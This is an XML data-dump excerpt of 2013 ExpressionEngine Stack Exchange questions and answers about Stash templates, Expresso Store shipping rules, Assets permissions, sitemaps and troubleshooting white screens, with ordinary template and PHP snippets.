  <row Id="12038" PostTypeId="1" AcceptedAnswerId="12951" CreationDate="2013-07-18T00:06:51.033" Score="0" ViewCount="113" Body="&lt;p&gt;I'm trying to capture in a variable Safecracker's global and field errors so I can display them outside of my Safecracker form. In my Safecracker form, I have the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if global_errors:count &amp;gt; 0}&#xA;    {exp:stash:set&#xA;        name=&quot;global_errors&quot;&#xA;        save=&quot;save&quot;&#xA;        scope=&quot;user&quot;&#xA;    }&#xA;        {global_errors}&#xA;            &amp;lt;p&amp;gt;{error}&amp;lt;/p&amp;gt;&#xA;        {/global_errors}&#xA;    {/exp:stash:set}&#xA;&#xA;    &amp;lt;h2&amp;gt;Global Errors&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;h2&amp;gt;{exp:stash:get name=&quot;global_errors&quot;}&amp;lt;/h2&amp;gt;&#xA;{/if}&#xA;&#xA;{if field_errors:count &amp;gt; 0}&#xA;    {exp:stash:set&#xA;        name=&quot;field_errors&quot;&#xA;        save=&quot;save&quot;&#xA;        scope=&quot;user&quot;&#xA;    }&#xA;        {field_errors}&#xA;            &amp;lt;p&amp;gt;{error}&amp;lt;/p&amp;gt;&#xA;        {/field_errors}&#xA;    {/exp:stash:set}&#xA;&#xA;    &amp;lt;h2&amp;gt;Field Errors&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;h2&amp;gt;{exp:stash:get name=&quot;field_errors&quot;}&amp;lt;/h2&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At this point, it's not even able to access the variable value right after I set it. So, my guess I am setting this incorrectly. Any ideas what's going on?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2013-08-20T17:31:09.257" Title="Can't Stash global and field errors in Safecracker form" Tags="|templates|stash|template-scripting|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12039" PostTypeId="2" ParentId="12038" CreationDate="2013-07-18T01:34:45.263" Score="0" Body="&lt;p&gt;Since the stash:set and stash:get are on the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/template_engine.html&quot; rel=&quot;nofollow&quot;&gt;same parsing stage&lt;/a&gt;, the 15, the values aren't available yet when you're calling them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you really need stash, you should move the &lt;code&gt;stash:get&lt;/code&gt; to an embed.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-07-18T01:34:45.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12040" PostTypeId="1" CreationDate="2013-07-18T03:36:59.287" Score="1" ViewCount="126" Body="&lt;p&gt;I have a strange problem with a rule for shipping.&#xA;I setup a rule that between 0 and 50 € in total each shipping item is charged with 1,40 €.&#xA;The rule match like it should and when it's over 50 € shipping is free.&#xA;Now when i choose an item which is below a 2 digit number the rule doesn't match anymore and it only match when it is over 60 €.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment i have only one rule. The Filter is for every country and region Maximum Order Total is 50,00 € and per Item rate is 1,40.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another problem is also with the shipping. When i set round item prices after tax and added all prices without tax inside the backend, all store frontend prices are fine, but the shipping of 1,40 display on two items always 2,81 and i don't want that. Independently if it round the value or not where does the 0,01 come from when i set the item charge to 1,40??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix this i commented the following lines out at store_shipping_default.php to prevent the strange rounding on shipping but this can't be a solution for my problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be nice if someone can have a look why this happens. Especially the wrong charging on items where the price is under 10,00 €?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is also the part i commented out of the function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        // this isn't particularly tidy, but it solves the tax rounding problem&#xA;    // if ($this-&amp;gt;EE-&amp;gt;store_config-&amp;gt;item('tax_rounding') == 'y')&#xA;    // {&#xA;    //  $tax_multiplier = 1 + $order['tax_rate'];&#xA;    //  foreach (array('base_rate_val', 'per_item_rate_val', 'per_weight_rate_val', 'min_rate_val') as $field)&#xA;    //  {&#xA;    //      $rule[$field] = store_round_currency($rule[$field] * $tax_multiplier) / $tax_multiplier;&#xA;    //  }&#xA;    // }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Peter&lt;/p&gt;&#xA;" OwnerUserId="768" LastActivityDate="2013-07-29T18:45:13.797" Title="Strange shipping rule" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12041" PostTypeId="2" ParentId="12032" CreationDate="2013-07-18T04:50:02.700" Score="1" Body="&lt;p&gt;What browser are you using? I know that Chrome tends to REALLY REALLY REALLY hang onto cached content, regardless of any server-side settings. Try looking at the template through a browser other than the one you normally use, and see if you can see your new/expected template. (I know it sounds like a basic n00b thing, but...dang if it hasn't caught me from time to time, and I've been doing this professionally for more than a decade.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also try temporarily changing the name of &quot;.template-name&quot; to &quot;.OLD-template-name&quot; just to further let both the server and the browser know that Really, You Aren't Kidding, You Want To See That Updated Thing Now.&lt;/p&gt;&#xA;" OwnerDisplayName="user800" LastActivityDate="2013-07-18T04:50:02.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12042" PostTypeId="2" ParentId="11992" CreationDate="2013-07-18T04:59:39.397" Score="1" Body="&lt;p&gt;Have you tried writing a plugin that grabs everything between 2 tag pairs and creates a pdf in the plugin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{create_pdf}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{all the stuff}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{/create_pdf}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/plugins.html#processing-data-within-tag-pairs&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/development/plugins.html#processing-data-within-tag-pairs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure if it would work, but shouldn't take too long to try.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just this week I used mpdf(www.mpdf1.com) to create a pdf from a template with php enabled on output and it worked pretty well, just needed to change some of my html to tables so it would display correctly. So maybe you just try another PDF generator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you just want an easy way out, you could look at pdfcrowd.com/ which offers either a link that will create the pdf for you, or they have a browser add-on that will create the pdf with a click.&lt;/p&gt;&#xA;" OwnerUserId="392" LastActivityDate="2013-07-18T04:59:39.397" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12043" PostTypeId="2" ParentId="11991" CreationDate="2013-07-18T05:09:31.573" Score="1" Body="&lt;p&gt;Looks like it should work at a quick glance. Since it seems that the Channel Search might not work with Title, I think your 2 options are create a new field for Product Name or you can write your own mysql query / plugin to do the search for you.&lt;/p&gt;&#xA;" OwnerUserId="392" LastActivityDate="2013-07-18T05:09:31.573" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12044" PostTypeId="1" AcceptedAnswerId="12103" CreationDate="2013-07-18T05:13:49.117" Score="2" ViewCount="455" Body="&lt;p&gt;I'm just upgrading a site from EE1 to EE2 and this code is no longer working in EE2:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries}&#xA;    {matrix}&#xA;        {playa}&#xA;            {title}&#xA;            {matrix}&#xA;                {deep_value}&#xA;            {/matrix}&#xA;        {/playa}&#xA;    {/matrix}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;{title} displays fine, but the {deep_value} does not. This used to work in EE1, does anyone know of a work around?&lt;/p&gt;&#xA;" OwnerUserId="1792" LastActivityDate="2014-09-19T14:39:45.517" Title="Matrix inside Playa inside Matrix" Tags="|matrix|playa|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12045" PostTypeId="2" ParentId="11962" CreationDate="2013-07-18T05:21:22.753" Score="1" Body="&lt;p&gt;I don't know exactly how EE does it, but you can grab the paths based on the filedir # like this:&#xA;$query = $this-&gt;EE-&gt;db-&gt;query(&quot;SELECT url FROM exp_upload_prefs WHERE id='1'&quot;);&lt;/p&gt;&#xA;&#xA;&lt;p&gt;where id='1' is the filedir_1. So you need to grab that # and use it to grab the url.&lt;/p&gt;&#xA;" OwnerUserId="392" LastActivityDate="2013-07-18T05:21:22.753" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12047" PostTypeId="1" AcceptedAnswerId="12049" CreationDate="2013-07-18T05:53:56.457" Score="0" ViewCount="76" Body="&lt;p&gt;I am building a personal site to practice with EE, and on my resume page I am using the following code to display a list of categories with entries displayed under each category:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories channel=&quot;resume_skills&quot;}&#xA;        &amp;lt;section id=&quot;{category_url_title}&quot;&amp;gt;&#xA;                &amp;lt;h6&amp;gt;{category_name}&amp;lt;/h6&amp;gt;&#xA;                &amp;lt;ul&amp;gt;&#xA;                {exp:channel:entries channel=&quot;resume_skills&quot; category=&quot;{category_id}&quot;}&#xA;                    &amp;lt;li&amp;gt;&#xA;                        &amp;lt;p&amp;gt;{title}&amp;lt;/p&amp;gt;&#xA;                        &amp;lt;p&amp;gt;{description}&amp;lt;/p&amp;gt;&#xA;                    &amp;lt;/li&amp;gt;&#xA;                {/exp:channel:entries}&#xA;                &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;/section&amp;gt;&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The page url is /resume (template group), but the entries don't display unless you go to resume/index. The categories display fine however. Any ideas on how I can remedy this and keep the url intact?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tested it on a separate page (/site/test) to make sure it wasn't anything else in the code on that page messing with it, and it displayed fine.&lt;/p&gt;&#xA;" OwnerUserId="1693" LastActivityDate="2013-07-18T05:59:08.857" Title="Entries under a channel:categories tag don't show in template group" Tags="|channel-entries|url|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12048" PostTypeId="2" ParentId="11934" CreationDate="2013-07-18T05:56:12.360" Score="0" Body="&lt;p&gt;Maybe im missing something, but can't you just use the php function explode to break ('Canada', 'Foo', 'Bar') into an array?&lt;/p&gt;&#xA;" OwnerUserId="392" LastActivityDate="2013-07-18T05:56:12.360" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12049" PostTypeId="2" ParentId="12047" CreationDate="2013-07-18T05:59:08.857" Score="0" Body="&lt;p&gt;Try dynamic=&quot;no&quot; in your channel tag or you maybe disable strict urls.&lt;/p&gt;&#xA;" OwnerUserId="392" LastActivityDate="2013-07-18T05:59:08.857" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12050" PostTypeId="2" ParentId="12033" CreationDate="2013-07-18T07:39:13.153" Score="1" Body="&lt;p&gt;I think, you should develop a small plugin which would take {last_author_profile_path} as parameter. In the plugin code, fetch the last segment of last_author_profile_path and search it within the directory with PHP functions like &lt;code&gt;strstr&lt;/code&gt; or &lt;code&gt;preg_match&lt;/code&gt; and output the full name of avatar image (with image extension).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would work for you.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-07-18T07:39:13.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12051" PostTypeId="2" ParentId="11898" CreationDate="2013-07-18T07:54:26.430" Score="1" Body="&lt;p&gt;After a week of banging my head, this ended up being a known problem with Safecracker - or Safecracker File and is to do with the field names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an earlier thread that pointed towards the problem:&#xA;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/6139/safecracker-file-fields-only-uploads-the-first-one&quot;&gt;Safecracker File Fields only uploads the first one&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Who would have thought that the name of the Matrix fields would also affect this problem. So basically my original field names were:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{website_screens} and {website_screens_mobile}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I changed these field names to the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{website_desktop_screens} and {website_mobile_screens}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And low and behold, it all uploads fine. What an absolute pain in the rear. Apparently it's a known bug and has been fixed (&lt;a href=&quot;https://support.ellislab.com/bugs/detail/19231&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://support.ellislab.com/bugs/detail/19231&lt;/a&gt;) but a trial under v2.6.1 showed that only renaming the fields solved the problem.&lt;/p&gt;&#xA;" OwnerUserId="347" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2013-07-18T07:54:26.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12052" PostTypeId="1" CreationDate="2013-07-18T08:02:45.650" Score="3" ViewCount="206" Body="&lt;p&gt;I've had a look through all the answers on here &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/98/white-screen-of-death-in-cp-after-login&quot;&gt;(this one seems the most complete)&lt;/a&gt; but since I'm using EE v 1.6.0 in this case I'm unsure what to follow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I downloaded my site to run locally using MAMP, &lt;em&gt;it works fine on the server&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I get the WSoD when I login unless I disable extensions in my config file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas of what to try to fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; My local version of PHP was 5.4 but the server was 5.2. I changed it locally to match and it's working perfectly.&lt;/p&gt;&#xA;" OwnerUserId="157" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2013-08-17T11:09:38.253" Title="White screen of death with extensions enabled EE v.1.6.0" Tags="|ee1|white-screen-of-death|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12054" PostTypeId="2" ParentId="12052" CreationDate="2013-07-18T08:19:19.037" Score="2" Body="&lt;p&gt;As per my comment above, check to see if you have a file upload add on installed (I can't recall the name of it now).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the past I have seen this behaviour when a large image is present in an upload directory. The add-on tries to read/generate a thumbnail and runs out of memory. This happened even if you weren't directly viewing the file or an entry that contained it.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-07-18T08:19:19.037" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12055" PostTypeId="2" ParentId="11973" CreationDate="2013-07-18T08:27:45.210" Score="0" Body="&lt;p&gt;Alissa, I looked sort of around on your problem, partly out of interest to know what was available as far as booking engines. Not any direct answer resulted, as you'll see, but maybe what's here will help gain a solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would have to say that rEEservation doesn't seem to be able to handle hourly reservations, at least that I could find, plus there is a message from the developer saying it won't, &lt;a href=&quot;http://devot-ee.com/add-ons/support/reeservation/viewthread/2101&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. Yuri seems to be a quite responsive and nice guy, but this add-on appears to have some history from comments elsewhere, and anyway may not be a fit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked for alternatives to handle such a case If I were doing it, and came up with two approaches, roughly.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Embed a PHP code library solution alongside EE, where &lt;a href=&quot;http://codecanyon.net/item/booking-system/87919&quot; rel=&quot;nofollow&quot;&gt;BookingWizz&lt;/a&gt; may seem an example, and has an online demo where you can see the first page doing slots during a day such as you require. There's a one-time low cost to license, plus work you'd need to do to integrate any value-passing and match site styles, perhaps not too deep, but you'll know. How good is it? Lots of nice recommends - and the occasional not at all satisfied customer on their forum that you may find anywhere. It's not responsive, out of the box, but that's just markup work, isn't it? Looks like the developer answers often. Risk - some, until you try it and see.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Slot in a SAAS offer, which means mainly adding some html/css/js they provide, plus again any value-passing integration. I kind of liked the look of &lt;a href=&quot;http://www.planyo.com/&quot; rel=&quot;nofollow&quot;&gt;Planyo&lt;/a&gt; -- also they're Swiss ;) -- which has a monthly CHF 24 (about GBP 17), and a lot of features. &lt;a href=&quot;http://www.bookingbug.com/work_with_us/developers&quot; rel=&quot;nofollow&quot;&gt;BookingBug&lt;/a&gt; is a somewhat more expensive UK one, but perhaps with some advantages in connecting. These cost a lot more obviously, and it is on-going. Advantages may be that they keep things up-to-date?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So, a few ideas, anyway. Interested in how you end up solving this site.&lt;/p&gt;&#xA;" OwnerUserId="103" LastActivityDate="2013-07-18T08:27:45.210" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12056" PostTypeId="1" AcceptedAnswerId="12082" CreationDate="2013-07-18T09:36:50.227" Score="0" ViewCount="111" Body="&lt;p&gt;I want a member group of &quot;Editors&quot; to be able to use the Assets file manager directly but can't find a permissions combination that allows access to only Assets.&#xA;You have to give them access to Modules and even if you only give them Module Access Privileges to Assets they can still see and uninstall other modules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if there is something Assets could do that would allow a top menu button to be added and allow access to the Assets File Manager and no other modules or if it's an ExpressionEngine core function that needs to allow it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the RogEE addon (&lt;a href=&quot;http://rog.ee/show_me_my_assets&quot; rel=&quot;nofollow&quot;&gt;Show Me My Assets!&lt;/a&gt;) to hijack some of the links to the native EE File Manager but it doesn't override the file manager link from the File upload preferences and sync pages and I can't see how to hide the links to File upload and Watermark preferences from the Content drop down menu. &lt;/p&gt;&#xA;" OwnerUserId="483" LastEditorUserId="483" LastEditDate="2013-07-18T10:24:10.733" LastActivityDate="2013-07-18T18:16:18.993" Title="How to allow access to Assets File Manager but no other modules" Tags="|pixelandtonic|assets|file-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12057" PostTypeId="2" ParentId="12052" CreationDate="2013-07-18T09:55:20.917" Score="0" Body="&lt;p&gt;Have you tried increasing the php memory limit? Both times I've hit the WSOD issue of late I've solved it by increasing memory. 32Mb just doesn't cut it especially if you're using Assets or something similar.&lt;/p&gt;&#xA;" OwnerUserId="305" LastActivityDate="2013-07-18T09:55:20.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12058" PostTypeId="2" ParentId="12000" CreationDate="2013-07-18T10:11:24.493" Score="3" Body="&lt;p&gt;Well I worked it out by myself in the end... &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&#xA;&amp;lt;urlset&#xA;      xmlns=&quot;http://www.sitemaps.org/schemas/sitemap/0.9&quot;&#xA;      xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot;&#xA;      xsi:schemaLocation=&quot;http://www.sitemaps.org/schemas/sitemap/0.9&#xA;            http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd&quot;&amp;gt;&#xA;{!--Homepage--}&#xA;&amp;lt;url&amp;gt;&#xA;  &amp;lt;loc&amp;gt;{site_url}&amp;lt;/loc&amp;gt;&#xA;&amp;lt;/url&amp;gt;&#xA;{exp:query sql=&quot;SELECT l.abbreviation, t.url_title, c.channel_name FROM exp_channel_titles t &#xA;inner join exp_channels c using (channel_id)&#xA;inner join exp_transcribe_entries_languages el using (entry_id) &#xA;inner join  `exp_transcribe_languages` l on l.id = el.language_id&#xA;where t.status='open' and c.channel_name&amp;lt;&amp;gt;'products'&quot;}&#xA;&amp;lt;url&amp;gt;&#xA;{if channel_name=='home_page'}&#xA;  &amp;lt;loc&amp;gt;{site_url}/{abbreviation}&amp;lt;/loc&amp;gt;&#xA;{if:else}&#xA;  &amp;lt;loc&amp;gt;{site_url}/{abbreviation}/{url_title}&amp;lt;/loc&amp;gt;&#xA;{/if}&#xA;&amp;lt;/url&amp;gt;&#xA;{/exp:query}&#xA;&amp;lt;/urlset&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="961" LastActivityDate="2013-07-18T10:11:24.493" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12059" PostTypeId="2" ParentId="12052" CreationDate="2013-07-18T10:13:58.540" Score="2" Body="&lt;p&gt;FIXED! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My local version of PHP was 5.4 but the server was 5.2. I changed it locally to match and it's working perfectly.&lt;/p&gt;&#xA;" OwnerUserId="157" LastActivityDate="2013-07-18T10:13:58.540" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12060" PostTypeId="1" CreationDate="2013-07-18T10:18:53.423" Score="2" ViewCount="77" Body="&lt;p&gt;I'm having the same problem as &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/4809/expresso-store-inventory-not-showing-in-cp-for-clients-member-group&quot;&gt;this post&lt;/a&gt;, only the accepted answer doesn't work for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry for re-posting the question, but I didn't if I can carry on a &quot;me too&quot; conversation in the answer thread?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When setting up a client's Member Group, I can't get &lt;em&gt;Inventory&lt;/em&gt; to appear in the &lt;strong&gt;Store&lt;/strong&gt; menu. I even duplicated the Super Admin's Member Group with all its privileges, but yet still couldn't get this to work. It seems that only {group_id==1} is able to see the Inventory tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is an MSM site and even with the client's member group having access to all store-related channels in all sites, it's still a no-go...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.6.1, Store 1.6.4&lt;/p&gt;&#xA;" OwnerUserId="1794" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2014-04-25T21:34:15.497" Title="Expresso Store: Inventory not showing in CP menu for client's member group" Tags="|expresso-store|control-panel|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12061" PostTypeId="2" ParentId="12014" CreationDate="2013-07-18T10:42:35.633" Score="1" Body="&lt;p&gt;After giving Andrew (the developer of Datagrab) the relevant access he was able to resolve the issue but suggested it might be another add on clashing with Datagrab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found the problem to be &lt;a href=&quot;http://devot-ee.com/add-ons/title-master&quot; rel=&quot;nofollow&quot; title=&quot;Title Master&quot;&gt;http://devot-ee.com/add-ons/title-master&lt;/a&gt; removing the channel from Title Master resolved the issue and the data imported into the channel and Matrix fields as intended.&lt;/p&gt;&#xA;" OwnerUserId="743" LastActivityDate="2013-07-18T10:42:35.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12062" PostTypeId="2" ParentId="11999" CreationDate="2013-07-18T10:44:37.917" Score="1" Body="&lt;p&gt;I gave up with doing this with the Transcribe addon and did it client side instead....&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// if at root homepage&#xA;if (/^http(s?):\/\/[^\/]*\/?$/.test(window.location.href)) {&#xA;    var url = &quot;http://api.wipmania.com/jsonp?callback=?&quot;;&#xA;    $.getJSON(url, function(data) {&#xA;        switch (data.address.country_code) {&#xA;        case 'GB':&#xA;            location.href = location.href + &quot;index.php?ACT=25&amp;amp;lang=en&quot;;&#xA;            break;&#xA;        case 'DE':&#xA;            location.href = location.href + &quot;index.php?ACT=25&amp;amp;lang=de&quot;;&#xA;            break;&#xA;        }&#xA;&#xA;    });&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="961" LastActivityDate="2013-07-18T10:44:37.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12063" PostTypeId="1" CreationDate="2013-07-18T10:46:01.267" Score="0" ViewCount="185" Body="&lt;p&gt;Yo,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't seem to figure this one out. I have a nested list of related Playa entires. Depending on if the list has a value, I want to show some code above the nested list.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;well&quot;&amp;gt;&#xA;    &amp;lt;h4&amp;gt;How To Guides&amp;lt;/h4&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;    {exp:stash:get_list:nested name=&quot;related_guides-{e_id}&quot;}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{link}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    {/exp:stash:get_list:nested}&#xA;    &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I only want to show the 'well' div IF there is something to show.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the nested list:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list:nested name=&quot;related_guides-{entry_id}&quot; parse_tags=&quot;yes&quot; scope=&quot;site&quot; save=&quot;no&quot; replace=&quot;no&quot; refresh=&quot;1440&quot;}&#xA;        {filt_related_guides site=&quot;ht&quot;}&#xA;            {stash:link}{title_permalink=&quot;guides/index&quot;}{/stash:link}&#xA;            {stash:title}{title}{/stash:title}&#xA;        {/filt_related_guides}&#xA;        {gen_related_guides site=&quot;ht&quot;}&#xA;            {stash:link}{title_permalink=&quot;guides/index&quot;}{/stash:link}&#xA;            {stash:title}{title}{/stash:title}&#xA;        {/gen_related_guides}&#xA;        {pump_related_guides site=&quot;ht&quot;}&#xA;            {stash:link}{title_permalink=&quot;guides/index&quot;}{/stash:link}&#xA;            {stash:title}{title}{/stash:title}&#xA;        {/pump_related_guides}&#xA;        {tub_related_guides site=&quot;ht&quot;}&#xA;            {stash:link}{title_permalink=&quot;guides/index&quot;}{/stash:link}&#xA;            {stash:title}{title}{/stash:title}&#xA;        {/tub_related_guides}&#xA;&#xA;        {if no_results}{exp:stash:set_value name=&quot;no_related&quot; value=&quot;0&quot;}{/if}&#xA;    {/exp:stash:set_list:nested}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyone got a solution to this? Or point out what I'm doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;" OwnerUserId="855" LastActivityDate="2013-07-18T13:16:47.517" Title="Stash: Test if nested list has value from outside nested loop" Tags="|stash|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12064" PostTypeId="1" CreationDate="2013-07-18T12:22:11.453" Score="1" ViewCount="944" Body="&lt;p&gt;I have installed the Assets plugin but it is not working at all. It is installed on a linux server with php 5.3.17, Expression Engine 2.6.1 and Assets 2.1.4. I have set the correct upload directories in the basic file manager which is supplied with EE itself. When I want to update the indexes of the Assets plugin, nothing happens. It does, however, uses the following http headers:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A POST from jquery to index.php with the callstack:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;jquery.js:177&lt;/li&gt;&#xA;&lt;li&gt;jquery.js:171&lt;/li&gt;&#xA;&lt;li&gt;jquery.js:162&lt;/li&gt;&#xA;&lt;li&gt;settins.min.js:1&lt;/li&gt;&#xA;&lt;li&gt;jquery:86&lt;/li&gt;&#xA;&lt;li&gt;jquery.js:78&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The response tot that is a HTTP 302 to the location admin.php. Next a GET from /index.php with, again, a HTTP 302 response to admin.php?S=0&amp;amp;D=cpC=homepage. After that, a GET request is made to the forementioned page and a HTTP 200 is returned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same requests are made when trying to upload a new file from the Assets plugin. Also, the Upload Files button is disabled. After removing the disabled tag and trying to upload a new file, the three forementioned requests are made with the same response and a javascript alert with the message &quot;Could not upload the file - server returned an unexpected response. Please check the server settings.&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have reinstalled the module, checked all the required file chmod attributes and session/cookie settings. but to result.&lt;/p&gt;&#xA;" OwnerUserId="1795" LastActivityDate="2013-09-17T18:42:58.163" Title="Assets plugin not working at all" Tags="|assets|module|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
